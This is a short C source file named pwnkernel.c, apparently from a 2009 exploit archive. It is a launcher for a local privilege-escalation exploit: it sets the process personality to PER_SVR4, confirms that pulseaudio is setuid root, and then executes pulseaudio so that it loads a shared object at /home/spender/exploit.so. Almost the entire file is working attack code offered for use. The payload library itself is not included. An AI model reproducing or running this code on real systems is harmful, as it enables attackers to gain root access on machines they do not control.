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pwnkernel.c
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C/C++ Source or Header
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2009-09-19
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764b
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38 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/personality.h>
#include <sys/stat.h>
#define PULSEAUDIO_PATH "/usr/bin/pulseaudio"
#define PATH_TO_EXPLOIT "/home/spender/exploit.so"
int main(void)
{
int ret;
struct stat fstat;
ret = personality(PER_SVR4);
if (ret == -1) {
fprintf(stderr, "Unable to set personality!\n");
return 3;
}
fprintf(stdout, " [+] Personality set to: PER_SVR4\n");
if (stat(PULSEAUDIO_PATH, &fstat)) {
fprintf(stderr, "Pulseaudio does not exist!\n");
return 3;
}
if (!(fstat.st_mode & S_ISUID) || fstat.st_uid != 0) {
fprintf(stderr, "Pulseaudio is not suid root!\n");
return 3;
}
execl(PULSEAUDIO_PATH, PULSEAUDIO_PATH, "--log-level=0", "-L", PATH_TO_EXPLOIT, NULL);
return 3;
}